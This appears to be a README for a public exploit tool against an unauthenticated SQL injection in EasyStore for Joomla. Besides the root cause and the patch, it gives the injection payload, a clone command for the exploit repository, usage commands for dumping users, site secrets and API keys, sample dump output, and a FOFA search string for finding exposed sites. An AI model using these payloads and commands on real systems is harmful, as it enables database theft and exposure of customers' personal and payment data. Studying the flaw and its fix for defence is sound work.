Exploit for CVE-2026-65761

## https://sploitus.com/exploit?id=94C819AC-C21D-551D-8627-4AE7F42E5175
CVE-2026-65761 — EasyStore Joomla Pre-Auth SQL Injection
filter_sortby Direction → ORDER BY Injection → Full DB Read

---

## Overview

**CVE-2026-65761** (CVSS 9.3 Critical) is an **unauthenticated SQL injection** in **EasyStore for Joomla** by JoomShaper, affecting versions **≤ 2.0.1**.

The `filter_sortby` product listing parameter is split into a column and direction. While the column is validated against an allow-list, the **direction is concatenated directly into the SQL `ORDER BY` clause** without any ASC/DESC restriction — allowing arbitrary SQL injection by an anonymous visitor.

An unauthenticated attacker can **read the entire Joomla database**: user accounts, password hashes, session data, site secrets, API keys, and all customer PII (names, emails, addresses, phone numbers, purchase history).

| | |
|---|---|
| **CVE** | CVE-2026-65761 |
| **CVSS** | 9.3 Critical |
| **Affected** | EasyStore ≤ 2.0.1 |
| **Fixed** | EasyStore 2.0.2 |
| **Type** | SQL Injection (CWE-89) |
| **Authentication** | None required |
| **Discovered** | Phil Taylor (mySites.guru) — July 2026 |

---

## Vulnerability Mechanism

### Root Cause

`FilterHelper.php:741` returns the sort direction without any ASC/DESC allow-list check:

```php
// Vulnerable (EasyStore 2.0.1)
// FilterHelper.php:741
return [$orderArray[0], strtoupper($orderArray[1])];
//                      ^^^^^^^^^ No validation — raw value after uppercase
```

`ProductsModel.php:932` concatenates the direction directly into SQL:

```php
// ProductsModel.php:932
$query->order($column . ' ' . $direction);
//                        ^^^^^^^^^ Raw SQL concatenation
```

The sibling brand and collection listings had proper direction allow-lists. The product listing did not.

### Patch (EasyStore 2.0.2)

```php
// Fixed — FilterHelper.php:741-742
$direction = strtoupper($orderArray[1]);
return [$orderArray[0], in_array($direction, ['ASC', 'DESC']) ? $direction : 'ASC'];
//                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Allow-list check

// Fixed — ProductsModel.php:918-920 (second validation added)
if (!in_array(strtoupper($direction), ['ASC', 'DESC'])) {
    $direction = 'DESC';
}
```

### Attack Flow

```
1. Attacker crafts: filter_sortby=price-ASC,(SELECT SLEEP(5))
   └─ splits to: column=price, direction=ASC,(SELECT SLEEP(5))

2. Column "price" passes allow-list check ✅
   └─ ['ordering','featured','best_selling','title','price','created']

3. Direction "ASC,(SELECT SLEEP(5))" passes strtoupper()
   └─ No ASC/DESC validation in vulnerable version

4. SQL constructed:
   ORDER BY min_price ASC,(SELECT SLEEP(5))
   └─ Time-based confirmation: 5 second delay

5. Attacker extracts full database via blind SQLi
```

### Prerequisites

| Requirement | Details |
|---|---|
| EasyStore ≤ 2.0.1 | Vulnerable version installed |
| Product listing accessible | `index.php?option=com_easystore&view=products` |
| No authentication | Works anonymously |
| MySQL/MariaDB | Time-based extraction via SLEEP() |

---

## Installation

```bash
git clone https://github.com/shinthink/CVE-2026-65761.git
cd CVE-2026-65761
# No dependencies required — Python stdlib only
```

## Usage

```bash
# Check vulnerability (non-destructive)
python3 cve_2026_65761.py --url https://target.com --check

# Dump Joomla users (usernames, emails, names)
python3 cve_2026_65761.py --url https://target.com --dump-users

# Full dump (users + site secret + EasyStore config + API keys)
python3 cve_2026_65761.py --url https://target.com --dump-joomla
```

### Output

```
+=================================================================+
|  CVE-2026-65761 — EasyStore Joomla Pre-Auth SQLi Exploit        |
+=================================================================+
  Target :  https://shop.target.com
  Plugin :  EasyStore ≤ 2.0.1 | Payload: filter_sortby=col-ASC,INJECTION

[STEP 1] Verifying SQL injection (time-based)
  [*] SLEEP(5) delay: 5.2s
  [+] SQLi confirmed (5.2s)

[STEP 2] Database fingerprint
    [Version] 10.11.14-MariaDB
    [Database] joomla_db
    [User]    joomla_user@localhost
    [Prefix]  jos_
  [+] Version : 10.11.14-MariaDB
  [+] Database: joomla_db
  [+] User    : joomla_user@localhost
  [+] Prefix  : jos_

[STEP 3] Dumping users
  [+] Users: 15

  USERNAME                  EMAIL                               NAME
  ─────────────────────     ───────────────────────────────     ──────────
  admin                     admin@shop.com                      Super User
  manager                   manager@shop.com                    Store Manager

[STEP 4] Dumping sensitive configuration
    [Secret] abc123def456...
    [EasyStore] {"paypal_email":"payments@shop.com"...
  [+] Secret: abc123def456...
  [+] EasyStore: {"paypal_email":"payments@shop.com"...
  [+]   paypal_email: payments@shop.com

Requests: 1847
```

---

## Technical Details

### Vulnerable Code Path

| File | Line | Issue |
|---|---|---|
| `site/src/Helper/FilterHelper.php` | 741 | Returns direction without allow-list — `strtoupper()` only |
| `site/src/Model/ProductsModel.php` | 932 | Concatenates `$direction` directly into `ORDER BY` clause |

### Injection Parameter

```
filter_sortby = -

Valid columns (allow-list passes):
  ordering, featured, best_selling, title, price, created

Direction (no validation):
  Injected directly after strtoupper()
  → ASC,(SELECT SLEEP(5))
  → ASC,(SELECT IF((condition),SLEEP(2),0))
```

### Additional Vulnerabilities in EasyStore 2.0.1

| CVE | Type | CVSS |
|---|---|---|
| CVE-2026-65759 | Order forgery / payment manipulation | 8.7 |
| CVE-2026-65760 | Invoice IDOR (cross-customer data exposure) | 9.2 |
| CVE-2026-65761 | SQL Injection (this exploit) | 9.3 |

---

## FOFA Dork

```
body="com_easystore" && body="filter_sortby"
```

---

## References

- [mySites.guru — Original Disclosure](https://mysites.guru/blog/easystore-security-disclosure/)
- [JoomShaper — EasyStore Free](https://www.joomshaper.com/downloads/extension/easystore-free)
- [VulDB — CVE-2026-65761](https://vuldb.com/cve/CVE-2026-65761)

## Disclaimer

For authorized security testing and educational research only. The authors assume no liability for misuse.